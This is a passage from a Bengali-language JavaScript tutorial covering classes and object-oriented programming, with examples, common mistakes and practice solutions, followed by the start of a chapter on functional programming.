            return;
        }

        this.balance -= amount;
    }

    showBalance() {
        console.log(`Balance: ${this.balance}`);
    }

}

const account = new BankAccount("Shariar", 10000);

account.deposit(5000);
account.withdraw(2000);
account.showBalance();
▶ CONSOLE OUTPUTOutput
Balance: 13000

কারণ:

▶ CONSOLE OUTPUTOutput
10000 + 5000 - 2000
= 13000
24.14 Instance Properties

যে properties প্রতিটি object-এর জন্য আলাদা হয় সেগুলো instance properties।

JavaScriptJavaScript
class User {

    constructor(name, email) {
        this.name = name;
        this.email = email;
    }

}
JavaScriptJavaScript
const user1 = new User("Shariar", "shariar@example.com");
const user2 = new User("Rahim", "rahim@example.com");

এখানে:

🧭 Concept Architecture
user1.name → Shariar user2.name → Rahim
24.15 Static Properties

Static property class-এর সাথে associated থাকে, individual object-এর সাথে নয়।

JavaScriptJavaScript
class User {

    static role = "Student";

}

Access:

JavaScriptJavaScript
console.log(User.role);
▶ CONSOLE OUTPUTOutput
Student

কিন্তু:

JavaScriptJavaScript
const user = new User();

console.log(user.role);

এটি undefined হবে। কারণ role object-এর property নয়।

24.16 Static Method

Static method object দিয়ে নয়, class দিয়ে call করা হয়।

JavaScriptJavaScript
class MathHelper {

    static add(a, b) {
        return a + b;
    }

}

console.log(MathHelper.add(10, 20));
▶ CONSOLE OUTPUTOutput
30

এটা:

JavaScriptJavaScript
MathHelper.add()

দিয়ে call করতে হবে।

24.17 Static Method Real-Life Example
JavaScriptJavaScript
class User {

    constructor(name) {
        this.name = name;
    }

    static createGuest() {
        return new User("Guest");
    }

}

const guest = User.createGuest();

console.log(guest.name);
▶ CONSOLE OUTPUTOutput
Guest

এখানে createGuest() একটি utility/factory-like static method।

24.18 Getter

Getter দিয়ে property-এর মতো syntax ব্যবহার করে method-এর result পাওয়া যায়।

JavaScriptJavaScript
class Rectangle {

    constructor(width, height) {
        this.width = width;
        this.height = height;
    }

    get area() {
        return this.width * this.height;
    }

}

const rectangle = new Rectangle(10, 5);

console.log(rectangle.area);
▶ CONSOLE OUTPUTOutput
50

খেয়াল করো:

JavaScriptJavaScript
rectangle.area

এখানে () নেই। কারণ এটি getter।

24.19 Setter

Setter দিয়ে property set করার সময় custom logic চালানো যায়।

JavaScriptJavaScript
class User {

    constructor(name) {
        this.name = name;
    }

    set username(value) {
        this.name = value.trim();
    }

}

const user = new User("Shariar");

user.username = "  Ripon  ";

console.log(user.name);
▶ CONSOLE OUTPUTOutput
Ripon
24.20 Getter + Setter Together
JavaScriptJavaScript
class Person {

    constructor(name) {
        this._name = name;
    }

    get name() {
        return this._name;
    }

    set name(value) {

        if (value.length < 3) {
            throw new Error("Name is too short");
        }

        this._name = value;
    }

}

const person = new Person("Shariar");

console.log(person.name);

person.name = "Ripon";

console.log(person.name);
24.21 Encapsulation

Encapsulation মানে data এবং behavior একসাথে রাখা এবং data access/control করা। ধরো Bank Account:

JavaScriptJavaScript
class BankAccount {

    constructor(balance) {
        this.balance = balance;
    }

}

এখানে বাইরে থেকে সরাসরি:

JavaScriptJavaScript
account.balance = -500000;

করা সম্ভব। এটি undesirable হতে পারে। Private field ব্যবহার করা যায়।

24.22 Private Fields #

Modern JavaScript-এ:

JavaScriptJavaScript
class BankAccount {

    #balance;

    constructor(balance) {
        this.#balance = balance;
    }

    getBalance() {
        return this.#balance;
    }

}

const account = new BankAccount(10000);

console.log(account.getBalance());
▶ CONSOLE OUTPUTOutput
10000

কিন্তু:

JavaScriptJavaScript
console.log(account.#balance);

এটি SyntaxError হবে। কারণ #balance private।

24.23 Private Method

Methods-ও private করা যায়।

JavaScriptJavaScript
class BankAccount {

    #balance = 0;

    #validateAmount(amount) {

        return amount > 0;

    }

    deposit(amount) {

        if (!this.#validateAmount(amount)) {
            throw new Error("Invalid amount");
        }

        this.#balance += amount;
    }

    getBalance() {
        return this.#balance;
    }

}

এটি encapsulation-এর ভালো example।

Part 03 — Inheritance, Polymorphism, Abstraction & Composition (24.24 – 24.33)
24.24 Inheritance

Inheritance মানে একটি class অন্য class-এর properties এবং methods ব্যবহার করতে পারবে। ধরো:

🧭 Concept Architecture
Animal ↓ Dog

Dog হলো Animal-এর একটি type।

24.25 extends
JavaScriptJavaScript
class Animal {

    eat() {
        console.log("Animal is eating");
    }

}

class Dog extends Animal {

    bark() {
        console.log("Dog is barking");
    }

}

const dog = new Dog();

dog.eat();
dog.bark();
▶ CONSOLE OUTPUTOutput
Animal is eating
Dog is barking

Dog নিজের method:

▶ CONSOLE OUTPUTOutput
bark()

পেয়েছে। Animal থেকে পেয়েছে:

▶ CONSOLE OUTPUTOutput
eat()
24.26 super()

Child class-এর constructor থাকলে parent constructor call করতে super() ব্যবহার করতে হয়।

JavaScriptJavaScript
class Animal {

    constructor(name) {
        this.name = name;
    }

}

class Dog extends Animal {

    constructor(name, breed) {
        super(name);
        this.breed = breed;
    }

}

const dog = new Dog("Tommy", "German Shepherd");

console.log(dog.name);
console.log(dog.breed);
▶ CONSOLE OUTPUTOutput
Tommy
German Shepherd
24.27 super.method()

Parent class-এর method call করতেও super ব্যবহার করা যায়।

JavaScriptJavaScript
class Animal {

    speak() {
        console.log("Animal makes a sound");
    }

}

class Dog extends Animal {

    speak() {
        super.speak();

        console.log("Dog barks");
    }

}

const dog = new Dog();

dog.speak();
▶ CONSOLE OUTPUTOutput
Animal makes a sound
Dog barks
24.28 Method Overriding

Child class parent-এর method নিজের মতো করে redefine করতে পারে।

JavaScriptJavaScript
class Animal {

    speak() {
        console.log("Animal sound");
    }

}

class Dog extends Animal {

    speak() {
        console.log("Woof!");
    }

}

const dog = new Dog();

dog.speak();
▶ CONSOLE OUTPUTOutput
Woof!

এটাই method overriding।

24.29 Polymorphism

Poly = many Morph = forms অর্থাৎ: > একই interface/method বিভিন্ন object-এ বিভিন্ন behavior দিতে পারে।

JavaScriptJavaScript
class Animal {

    speak() {
        console.log("Animal sound");
    }

}

class Dog extends Animal {

    speak() {
        console.log("Woof!");
    }

}

class Cat extends Animal {

    speak() {
        console.log("Meow!");
    }

}

const animals = [
    new Dog(),
    new Cat()
];

animals.forEach(animal => {
    animal.speak();
});
▶ CONSOLE OUTPUTOutput
Woof!
Meow!

একই:

JavaScriptJavaScript
animal.speak()

কিন্তু result আলাদা। এটাই polymorphism-এর basic example।

24.30 instanceof

কোন object কোনো class-এর instance কিনা check করতে:

JavaScriptJavaScript
class Student {}

const student = new Student();

console.log(student instanceof Student);
▶ CONSOLE OUTPUTOutput
true

আর:

JavaScriptJavaScript
console.log(student instanceof Array);

Output:

▶ CONSOLE OUTPUTOutput
false
24.31 Class + Private Data + Methods

একটি realistic example:

JavaScriptJavaScript
class BankAccount {

    #balance;

    constructor(owner, initialBalance = 0) {
        this.owner = owner;
        this.#balance = initialBalance;
    }

    deposit(amount) {

        if (amount <= 0) {
            throw new Error("Invalid deposit amount");
        }

        this.#balance += amount;
    }

    withdraw(amount) {

        if (amount > this.#balance) {
            throw new Error("Insufficient balance");
        }

        this.#balance -= amount;
    }

    getBalance() {
        return this.#balance;
    }
}

const account = new BankAccount("Shariar", 10000);

account.deposit(5000);
account.withdraw(2000);

console.log(account.getBalance());

Output:

▶ CONSOLE OUTPUTOutput
13000

এখানে একসাথে ব্যবহার হয়েছে:

  • Class
  • Constructor
  • this
  • Private field
  • Methods
  • Encapsulation
  • Error handling
24.32 Abstraction

Abstraction মানে: > জটিল internal implementation hide করে user-কে প্রয়োজনীয় interface দেওয়া।

🔹 Real-Life Example

তুমি ATM ব্যবহার করো:

🧭 Concept Architecture
Insert Card ↓ Enter PIN ↓ Withdraw

তুমি জানো না ATM-এর ভিতরে:

▶ CONSOLE OUTPUTOutput
Database
Bank Server
Encryption
Transaction System
Network

কীভাবে কাজ করছে। এটাই abstraction-এর ধারণা। JavaScript example:

JavaScriptJavaScript
class ATM {

    withdraw(amount) {

        this.#verifyAccount();
        this.#checkBalance();
        this.#processTransaction();

        console.log(`Withdrawn: ${amount}`);
    }

    #verifyAccount() {
        console.log("Account verified");
    }

    #checkBalance() {
        console.log("Balance checked");
    }

    #processTransaction() {
        console.log("Transaction processed");
    }

}

const atm = new ATM();

atm.withdraw(5000);

User শুধু:

JavaScriptJavaScript
atm.withdraw(5000);

ব্যবহার করছে। Internal process hidden।

24.33 Composition

সবসময় inheritance ব্যবহার করতে হবে এমন নয়। Composition মানে ছোট ছোট object/component combine করে বড় behavior তৈরি করা। ধরো:

JavaScriptJavaScript
const engine = {
    start() {
        console.log("Engine started");
    }
};

const musicSystem = {
    playMusic() {
        console.log("Music playing");
    }
};

const car = {
    engine,
    musicSystem
};

car.engine.start();
car.musicSystem.playMusic();

এখানে car-এর:

▶ CONSOLE OUTPUTOutput
Engine
Music System

আলাদা components। # 🧠 Inheritance বনাম Composition

InheritanceComposition
IS-A relationshipHAS-A relationship
Dog IS-A AnimalCar HAS-A Engine
extendsobjects/components combine
Tight coupling হতে পারেবেশি flexible হতে পারে
🔹 Example
▶ CONSOLE OUTPUTOutput
Dog IS-A Animal

Inheritance। কিন্তু:

▶ CONSOLE OUTPUTOutput
Car HAS-A Engine
Car HAS-A GPS
Car HAS-A MusicSystem

Composition।

Part 04 — Under the Hood: Prototypes, Class Fields & Practical Architecture (24.34 – 24.43)
24.34 Class vs Object
ClassObject
Blueprintবাস্তব instance
TemplateCreated entity
class Studentnew Student()
অনেক object তৈরি করতে পারেএকটি নির্দিষ্ট instance

উদাহরণ:

JavaScriptJavaScript
class Student {}

Class।

JavaScriptJavaScript
const student = new Student();

Object।

24.35 Class vs Constructor Function

Modern JavaScript-এ class বেশি readable। আগে constructor function ব্যবহার করা হতো।

🔹 Constructor Function
JavaScriptJavaScript
function Student(name) {
    this.name = name;
}

Student.prototype.introduce = function () {
    console.log(`I am ${this.name}`);
};

const student = new Student("Shariar");

student.introduce();
🔹 Class Version
JavaScriptJavaScript
class Student {

    constructor(name) {
        this.name = name;
    }

    introduce() {
        console.log(`I am ${this.name}`);
    }

}

const student = new Student("Shariar");

student.introduce();

দুটো conceptually related।

24.36 গুরুত্বপূর্ণ: Class আসলে Prototype-এর উপর কাজ করে

এটা খুব গুরুত্বপূর্ণ। তুমি Chapter 11-এ Prototype পড়েছো। JavaScript-এর:

JavaScriptJavaScript
class Student {

    introduce() {
        console.log("Hello");
    }

}

এর methods সাধারণত prototype-এ থাকে। অর্থাৎ:

🧭 Concept Architecture
Class syntax ↓ Prototype-based mechanism

JavaScript মূলত prototype-based language। class হলো cleaner syntax/abstraction।

24.37 Prototype Check
JavaScriptJavaScript
class Student {

    introduce() {
        console.log("Hello");
    }

}

const student = new Student();

console.log(
    Object.getPrototypeOf(student) === Student.prototype
);

Output:

▶ CONSOLE OUTPUTOutput
true
24.38 Class Fields

Modern JavaScript-এ class-এর মধ্যে directly field declare করা যায়।

JavaScriptJavaScript
class Student {

    name = "Unknown";
    age = 0;

}

const student = new Student();

console.log(student.name);
console.log(student.age);

Output:

▶ CONSOLE OUTPUTOutput
Unknown
0
24.39 Private Class Field
JavaScriptJavaScript
class User {

    #password;

    constructor(password) {
        this.#password = password;
    }

    checkPassword(password) {
        return this.#password === password;
    }

}

const user = new User("12345");

console.log(user.checkPassword("12345"));
console.log(user.checkPassword("wrong"));

Output:

▶ CONSOLE OUTPUTOutput
true
false

Password সরাসরি বাইরে access করা যাবে না।

24.40 Real-Life Example: E-commerce Product
JavaScriptJavaScript
class Product {

    constructor(name, price, stock) {
        this.name = name;
        this.price = price;
        this.stock = stock;
    }

    getTotalPrice(quantity) {

        if (quantity > this.stock) {
            throw new Error("Not enough stock");
        }

        return this.price * quantity;
    }

    sell(quantity) {

        if (quantity > this.stock) {
            throw new Error("Not enough stock");
        }

        this.stock -= quantity;
    }

    showProduct() {
        console.log(
            `${this.name} - ৳${this.price} - Stock: ${this.stock}`
        );
    }

}

const laptop = new Product("Laptop", 60000, 10);

laptop.showProduct();

console.log(
    "Total:",
    laptop.getTotalPrice(2)
);

laptop.sell(2);

laptop.showProduct();

Output:

▶ CONSOLE OUTPUTOutput
Laptop - ৳60000 - Stock: 10
Total: 120000
Laptop - ৳60000 - Stock: 8
24.41 Inheritance in E-commerce

ধরো:

🧭 Concept Architecture
Product ↓ ElectronicProduct ↓ Laptop
JavaScriptJavaScript
class Product {

    constructor(name, price) {
        this.name = name;
        this.price = price;
    }

    showInfo() {
        console.log(`${this.name}: ৳${this.price}`);
    }

}

class ElectronicProduct extends Product {

    constructor(name, price, warranty) {
        super(name, price);
        this.warranty = warranty;
    }

    showWarranty() {
        console.log(`Warranty: ${this.warranty} months`);
    }

}

const laptop = new ElectronicProduct(
    "Laptop",
    60000,
    24
);

laptop.showInfo();
laptop.showWarranty();

Output:

▶ CONSOLE OUTPUTOutput
Laptop: ৳60000
Warranty: 24 months
24.42 OOP Practical Architecture

একটি বড় project-এ এমন structure দেখা যেতে পারে:

🧭 Concept Architecture
src/ │ ├── models/ │ ├── User.js │ ├── Product.js │ └── Order.js │ ├── services/ │ ├── AuthService.js │ ├── PaymentService.js │ └── ProductService.js │ ├── controllers/ │ ├── UserController.js │ └── ProductController.js │ └── app.js

উদাহরণ:

JavaScriptJavaScript
class User {

    constructor(name, email) {
        this.name = name;
        this.email = email;
    }

    getProfile() {
        return {
            name: this.name,
            email: this.email
        };
    }

}

export default User;

এভাবে application-এর বিভিন্ন responsibility আলাদা করা যায়।

24.43 OOP + API Data

ধরো API থেকে user data পেলাম:

JavaScriptJavaScript
const data = {
    id: 1,
    name: "Shariar",
    email: "shariar@example.com"
};

Class দিয়ে model:

JavaScriptJavaScript
class User {

    constructor(data) {
        this.id = data.id;
        this.name = data.name;
        this.email = data.email;
    }

    getDisplayName() {
        return this.name;
    }

}

const user = new User(data);

console.log(user.getDisplayName());

Output:

▶ CONSOLE OUTPUTOutput
Shariar

এটি বড় application-এ useful।

Part 05 — Common Mistakes, Edge Cases & Mental Models (24.44 – 24.49)
24.44 Common Mistake: new ভুলে যাওয়া

Class constructor কখনো new কীওয়ার্ড ছাড়া সরাসরি ফাংশনের মতো কল করা যায় না। এভাবে কল করলে TypeError ছুঁড়ে দেয়।

ভুল পদ্ধতি: new কীওয়ার্ড ছাড়া কল❌ Error / Invalid
class Student {}

const student = Student();
✖ RUNTIME ERRORTypeError
TypeError: Class constructor Student cannot be invoked without 'new'

সঠিক সমাধান: অবজেক্ট ইনস্ট্যান্স তৈরি করতে সর্বদা new ব্যবহার করুন।

সঠিক পদ্ধতি: new ব্যবহার✅ Correct
class Student {}

const student = new Student();
24.45 Common Mistake: super() ভুলে যাওয়া

Inheritance ব্যবহার করার সময় চাইল্ড ক্লাসের constructor-এ this অ্যাক্সেস করার পূর্বে অবশ্যই প্যারেন্ট ক্লাসের super() কল করতে হবে।

ভুল পদ্ধতি: super() না ডেকে this অ্যাক্সেস❌ Error / Invalid
class Animal {
    constructor(name) {
        this.name = name;
    }
}

class Dog extends Animal {
    constructor(name, breed) {
        this.breed = breed;
    }
}
✖ REFERENCE ERRORReferenceError
ReferenceError: Must call super constructor in derived class before accessing 'this'

সঠিক সমাধান: প্যারেন্ট কনস্ট্রাক্টরে প্যারামিটার পাস করতে প্রথমে super(...) কল করুন।

সঠিক পদ্ধতি: super(name) কল✅ Correct
class Animal {
    constructor(name) {
        this.name = name;
    }
}

class Dog extends Animal {
    constructor(name, breed) {
        super(name);
        this.breed = breed;
    }
}
24.46 Common Mistake: Private Field বাইরে Access

Private field (#field) ক্লাসের বাইরে থেকে সরাসরি ডট নোটেশনে অ্যাক্সেস করা যায় না। এটি করলে সিনট্যাক্স এরর দেয়।

ভুল পদ্ধতি: ক্লাসের বাইরে Private Field অ্যাক্সেস❌ Error / Invalid
class User {
    #password = "12345";
}

const user = new User();
console.log(user.#password);
✖ SYNTAX ERRORSyntaxError
SyntaxError: Private field '#password' must be declared in an enclosing class

সঠিক সমাধান: ক্লাসের নিজস্ব মেথড বা গেটারের মাধ্যমে প্রাইভেট ডেটা ভ্যালিডেট বা এক্সেস করুন।

সঠিক পদ্ধতি: মেথডের মাধ্যমে এক্সেস✅ Correct
class User {
    #password = "12345";

    verifyPassword(input) {
        return this.#password === input;
    }
}

const user = new User();
console.log(user.verifyPassword("12345")); // true
24.47 Common Mistake: Static Method Object দিয়ে Call

Static method সরাসরি ক্লাসের প্রপার্টি, এটি ইনস্ট্যান্স অবজেক্টে উত্তরাধিকারসূত্রে থাকে না। অবজেক্ট ইনস্ট্যান্স দিয়ে কল করলে TypeError দেয়।

ভুল পদ্ধতি: অবজেক্ট দিয়ে Static মেথড কল❌ Error / Invalid
class Test {
    static hello() {
        console.log("Hello");
    }
}

const test = new Test();
test.hello();
✖ TYPE ERRORTypeError
TypeError: test.hello is not a function

সঠিক সমাধান: সরাসরি ক্লাসের নাম ধরে কল করুন: Test.hello()

সঠিক পদ্ধতি: ক্লাসের নাম ধরে কল✅ Correct
class Test {
    static hello() {
        console.log("Hello");
    }
}

Test.hello(); // Hello
24.48 Common Mistake: Constructor-এ this

কনস্ট্রাক্টরের ভেতর this.property = value না লিখলে অবজেক্টের প্রপার্টি ইনিশিয়ালাইজ হয় না; শুধু লোকাল ভেরিয়েবল অ্যাসাইন হয়।

ভুল পদ্ধতি: this ছাড়া নাম অ্যাসাইন❌ Error / Invalid
class Student {
    constructor(name) {
        name = name; // প্যারামিটার নিজের উপর অ্যাসাইন হচ্ছে, ইনস্ট্যান্সে নয়!
    }
}

const s = new Student("Shariar");
console.log(s.name); // undefined
▶ OUTPUT MISMATCHUndefined
undefined

সঠিক সমাধান: অবজেক্টের প্রপার্টি সেট করতে সর্বদা this.name ব্যবহার করুন।

সঠিক পদ্ধতি: this.name ব্যবহার✅ Correct
class Student {
    constructor(name) {
        this.name = name; // ইনস্ট্যান্স অবজেক্টে প্রপার্টি সেট হলো
    }
}

const s = new Student("Shariar");
console.log(s.name); // 'Shariar'
24.49 OOP Mental Model

এই পুরো chapter-টা এভাবে মনে রাখো:

🧭 Concept Architecture
OOP │ ┌─────────┴─────────┐ │ │ Class Object │ │ ┌─────┼─────┐ │ │ │ │ │ constructor methods instance │ this

তারপর:

🧭 Concept Architecture
Class │ ├── Instance Properties ├── Instance Methods ├── Static Properties ├── Static Methods ├── Getters ├── Setters └── Private Fields

Inheritance:

🧭 Concept Architecture
Parent Class │ extends ↓ Child Class │ super()

OOP pillars:

▶ CONSOLE OUTPUTOutput
Encapsulation
Abstraction
Inheritance
Polymorphism
Part 06 — OOP Mastery: Must Know, Quick Cheat Sheet, Practice Lab & Mental Map
24.50 MUST KNOW

এই Chapter থেকে অবশ্যই জানতে হবে:

🔹 1. Class
JavaScriptJavaScript
class Student {}
🔹 2. Object
JavaScriptJavaScript
const student = new Student();
🔹 3. Constructor
JavaScriptJavaScript
constructor(name) {
    this.name = name;
}
🔹 4. this

Current instance/object reference।

🔹 5. Methods
JavaScriptJavaScript
study() {
    console.log("Studying");
}
🔹 6. Static
JavaScriptJavaScript
static hello() {}

Call:

JavaScriptJavaScript
ClassName.hello();
🔹 7. Getter
JavaScriptJavaScript
get name() {}
🔹 8. Setter
JavaScriptJavaScript
set name(value) {}
🔹 9. Private Field
JavaScriptJavaScript
#password
🔹 10. Inheritance
JavaScriptJavaScript
class Dog extends Animal {}
🔹 11. Parent constructor
JavaScriptJavaScript
super();
🔹 12. Method overriding

Child নিজের method দিয়ে parent method replace/override করতে পারে।

🔹 13. Polymorphism

একই method বিভিন্ন object-এ different behavior দিতে পারে।

🔹 14. Prototype connection

class syntax-এর নিচে JavaScript-এর prototype system কাজ করে।

24.Quick 🧠 Quick Cheat Sheet — Class & OOP Syntax Reference

JavaScript Class এবং Object-Oriented Programming এর দ্রুত রেফারেন্সের জন্য সম্পূর্ণ সিনট্যাক্স টেবিল:

ConceptSyntax
Classclass User {}
Constructorconstructor() {}
Objectnew User()
Propertythis.name
Methodhello() {}
Staticstatic hello() {}
Getterget name() {}
Setterset name(value) {}
Private#password
Inheritanceextends
Parent constructorsuper()
Parent methodsuper.method()
Instance checkobj instanceof Class
24.Lab 📝 Hands-On Practice Lab — 6 Real-World OOP Challenges

থিওরি এবং কনসেপ্ট আয়ত্ত করার পর বাস্তব প্রজেক্টে ক্লাস ব্যবহারের দক্ষতা যাচাই করার জন্য নিচে ৬টি প্র্যাকটিস প্রবলেমের বিস্তারিত সমাধান দেওয়া হলো:

Practice 1: Car Class — Brand, Model, Year & showInfo() Method Beginner

Problem Requirement: Car নামে একটি ক্লাস বানান যাতে brand, model, year প্রোপার্টি থাকবে এবং showInfo() মেথড গাড়ির সম্পূর্ণ বিবরণ প্রিন্ট করবে।

Practice 1 Model Solution✅ Correct
class Car {
    constructor(brand, model, year) {
        this.brand = brand;
        this.model = model;
        this.year = year;
    }

    showInfo() {
        console.log(`Car Info: ${this.brand} ${this.model} (${this.year})`);
    }
}

// Verification
const myCar = new Car("Toyota", "Camry", 2024);
myCar.showInfo();
▶ CONSOLE OUTPUTOutput
Car Info: Toyota Camry (2024)
Practice 2: Student Class — Name, ID, Department & introduce() Method Beginner

Problem Requirement: Student নামে একটি ক্লাস বানান যাতে name, id, department প্রোপার্টি থাকবে এবং introduce() মেথড শিক্ষার্থীর পরিচয় প্রিন্ট করবে।

Practice 2 Model Solution✅ Correct
class Student {
    constructor(name, id, department) {
        this.name = name;
        this.id = id;
        this.department = department;
    }

    introduce() {
        console.log(`Hello, I am ${this.name}, ID: ${this.id}, Department of ${this.department}.`);
    }
}

// Verification
const s1 = new Student("Rahim Ahmed", "CSE-1024", "Computer Science");
s1.introduce();
▶ CONSOLE OUTPUTOutput
Hello, I am Rahim Ahmed, ID: CSE-1024, Department of Computer Science.
Practice 3: Rectangle Class — Width, Height, area() & perimeter() Calculation Beginner

Problem Requirement: Rectangle নামে একটি ক্লাস বানান যার widthheight প্রোপার্টি থাকবে এবং আয়তক্ষেত্রের ক্ষেত্রফল ও পরিসীমা নির্ণয়ের জন্য area()perimeter() মেথড থাকবে।

Practice 3 Model Solution✅ Correct
class Rectangle {
    constructor(width, height) {
        this.width = width;
        this.height = height;
    }

    area() {
        return this.width * this.height;
    }

    perimeter() {
        return 2 * (this.width + this.height);
    }
}

// Verification
const rect = new Rectangle(10, 5);
console.log("Area:", rect.area());
console.log("Perimeter:", rect.perimeter());
▶ CONSOLE OUTPUTOutput
Area: 50
Perimeter: 30
Practice 4: BankAccount with Private #balance, Deposit & Withdraw Validations Intermediate

Problem Requirement: BankAccount ক্লাস বানান যাতে ব্যালেন্স প্রাইভেট (#balance) থাকবে এবং deposit(amount), withdraw(amount), ও getBalance() মেথডের মাধ্যমে সুরক্ষিতভাবে লেনদেন করা যাবে।

Practice 4 Model Solution✅ Correct
class BankAccount {
    #balance;

    constructor(initialBalance = 0) {
        this.#balance = initialBalance >= 0 ? initialBalance : 0;
    }

    deposit(amount) {
        if (amount > 0) {
            this.#balance += amount;
            console.log(`Deposited $${amount}. New balance: $${this.#balance}`);
        } else {
            console.log("Deposit amount must be positive.");
        }
    }

    withdraw(amount) {
        if (amount <= 0) {
            console.log("Invalid withdrawal amount.");
        } else if (amount > this.#balance) {
            console.log("Insufficient funds!");
        } else {
            this.#balance -= amount;
            console.log(`Withdrawn $${amount}. Remaining balance: $${this.#balance}`);
        }
    }

    getBalance() {
        return this.#balance;
    }
}

// Verification
const account = new BankAccount(500);
account.deposit(200);
account.withdraw(150);
console.log("Final Balance:", account.getBalance());
▶ CONSOLE OUTPUTOutput
Deposited $200. New balance: $700
Withdrawn $150. Remaining balance: $550
Final Balance: 550
Practice 5: Inheritance Architecture: Employee Base Class to Developer Derived Class Intermediate

Problem Requirement: Employee (name, salary) বেস ক্লাস থেকে Developer (language, code()) চাইল্ড ক্লাস তৈরি করুন এবং super() এর মাধ্যমে প্যারেন্ট প্রোপার্টি ইনিশিয়ালাইজ করুন।

Practice 5 Model Solution✅ Correct
class Employee {
    constructor(name, salary) {
        this.name = name;
        this.salary = salary;
    }

    getDetails() {
        return `${this.name} earns $${this.salary}/year`;
    }
}

class Developer extends Employee {
    constructor(name, salary, language) {
        super(name, salary); // Call parent constructor
        this.language = language;
    }

    code() {
        console.log(`${this.name} is writing code in ${this.language}.`);
    }
}

// Verification
const dev = new Developer("Shariar", 95000, "JavaScript");
console.log(dev.getDetails());
dev.code();
▶ CONSOLE OUTPUTOutput
Shariar earns $95000/year
Shariar is writing code in JavaScript.
Practice 6: Mini E-commerce Architecture: Product, Cart, Order & User Interaction Advanced

Problem Requirement: একটি পূর্ণাঙ্গ অবজেক্ট-ওরিয়েন্টেড মিনি ই-কমার্স আর্কিটেকচার তৈরি করুন যাতে Product, Cart, Order, এবং User ক্লাসগুলো একে অপরের সাথে ইন্টারঅ্যাক্ট করে মোট মূল্য ও কার্ট প্রসেসিং সম্পন্ন করবে।

Practice 6 Model Solution✅ Correct
class Product {
    constructor(id, name, price) {
        this.id = id;
        this.name = name;
        this.price = price;
    }
}

class Cart {
    constructor() {
        this.items = [];
    }

    addProduct(product, quantity = 1) {
        this.items.push({ product, quantity });
        console.log(`Added ${quantity}x ${product.name} to cart.`);
    }

    getTotal() {
        return this.items.reduce((sum, item) => sum + item.product.price * item.quantity, 0);
    }
}

class Order {
    constructor(user, cart) {
        this.user = user;
        this.items = [...cart.items];
        this.totalAmount = cart.getTotal();
        this.orderDate = new Date();
    }

    printReceipt() {
        console.log(`=== RECEIPT FOR ${this.user.name} ===`);
        this.items.forEach(i => console.log(`- ${i.product.name} x${i.quantity}: $${i.product.price * i.quantity}`));
        console.log(`Total: $${this.totalAmount}`);
    }
}

class User {
    constructor(name, email) {
        this.name = name;
        this.email = email;
    }
}

// Complete System Simulation
const user = new User("Tanjim", "tanjim@example.com");
const laptop = new Product(101, "MacBook Pro", 1999);
const mouse = new Product(102, "Magic Mouse", 79);

const cart = new Cart();
cart.addProduct(laptop, 1);
cart.addProduct(mouse, 2);

const order = new Order(user, cart);
order.printReceipt();
▶ CONSOLE OUTPUTOutput
Added 1x MacBook Pro to cart.
Added 2x Magic Mouse to cart.
=== RECEIPT FOR Tanjim ===
- MacBook Pro x1: $1999
- Magic Mouse x2: $158
Total: $2157
24.Map 🎯 Final Mental Map & Prototype Connection

JavaScript-এর সম্পূর্ণ Object-Oriented Programming ইকোসিস্টেম, ক্লাস ফিল্ডস, ইনহেরিট্যান্স এবং মেথড স্ট্রাকচারের সামগ্রিক ভিজ্যুয়াল আর্কিটেকচার:

🧭 JavaScript OOP Master Architecture Tree
JavaScript OOP │ ┌────────────┴────────────┐ │ │ Class Object │ │ ┌──────┼──────┐ │ │ │ │ │ constructor methods fields instance │ this │ ┌────┴─────────────┐ │ │ Instance Static │ │ Methods Methods Properties Properties │ ├── Getter ├── Setter └── Private # Inheritance │ extends │ super() │ Polymorphism Encapsulation Abstraction Composition Prototype
⭐ সবচেয়ে গুরুত্বপূর্ণ Connection

তুমি Chapter 10-এ Objects, Chapter 11-এ Prototypes, এবং Chapter 24-এ Classes/OOP পড়ার পর এই তিনটির পারস্পরিক যোগসূত্র এভাবে মনে রাখবে:

🧭 Evolution of JavaScript Object System
Object\n ↓\nPrototype\n ↓\nClass syntax\n ↓\nInheritance\n ↓\nOOP architecture
Key Takeaway: JavaScript-এ class কোনো সম্পূর্ণ নতুন অবজেক্ট মডেল নয়; এটি আসলে JavaScript-এর বিদ্যমান Prototypal Inheritance সিস্টেমের ওপর নির্মিত অত্যন্ত মার্জিত এবং আধুনিক সিনট্যাকটিক সুগার (Syntactic Sugar)। এই কনসেপ্টটি আয়ত্ত করলে React এর ক্লাস কম্পোনেন্ট, TypeScript এর ক্লাস মডেলিং এবং Node.js/NestJS আর্কিটেকচার বোঝা অত্যন্ত সহজ হয়ে যাবে।
Chapter 25
↑ Index
Functional JavaScript — ফাংশনাল জাভাস্ক্রিপ্ট
Total Modules
50 Modules + Practice Lab
Curriculum Part
Part 19 — Functional Paradigm & Patterns
Core Mechanics
Pure Functions, Immutability & HOFs
Reference Standard
ECMAScript 2026 / Modern Functional JS
🎯 Functional Programming (FP) — Functional JavaScript শেখার মূল উদ্দেশ্য

JavaScript-এ Functional Programming অত্যন্ত গুরুত্বপূর্ণ—বিশেষ করে তুমি যখন React, Redux, Node.js এবং Modern Full-Stack ইকোসিস্টেমে কাজ করবে। এই চ্যাপ্টারে আমরা শুধুমাত্র map() বা filter() নয়, বরং Functional JavaScript-এর গভীরতম ভিত্তিগুলো—Pure Functions, Immutability, Composition, Currying এবং Declarative Data Pipelines—নিখুঁতভাবে শিখব।

Core Formula: Input Data  →  Pure Function (No Side Effect)  →  New Immutable Output Data
Part 01 — Functional Programming Fundamentals & Pure Functions (25.1 – 25.9)
25.1 Functional Programming কী?

Functional Programming (FP) হলো এমন একটি programming style যেখানে আমরা program-কে ছোট ছোট function দিয়ে তৈরি করি এবং function-কে data process করার প্রধান মাধ্যম হিসেবে ব্যবহার করি।

🔹 সহজ ভাষায়

ধরো একটি restaurant-এ: > Raw ingredients → রান্নার function → Final food JavaScript-এ: > Input data → Function → Output data

JavaScript FPJavaScript
function double(number) {
  return number * 2;
}

console.log(double(5));
▶ CONSOLE OUTPUTOutput
10

এখানে:

🧭 Functional Architecture
5 → double() → 10

অর্থাৎ function input নিয়ে output তৈরি করেছে।

25.2 Functional Programming-এর মূল বৈশিষ্ট্য

Functional JavaScript-এর কয়েকটি গুরুত্বপূর্ণ principle: 1. Pure Functions 2. Immutability 3. First-Class Functions 4. Higher-Order Functions 5. Function Composition 6. Declarative Programming 7. Avoiding Side Effects 8. Data Transformation 9. Referential Transparency এগুলো একে একে বুঝি।

25.3 Pure Function

একটি function তখন Pure Function, যখন: 1. একই input দিলে সবসময় একই output দেয় 2. বাইরের কোনো data পরিবর্তন করে না

🔹 Example
JavaScript FPJavaScript
function add(a, b) {
  return a + b;
}
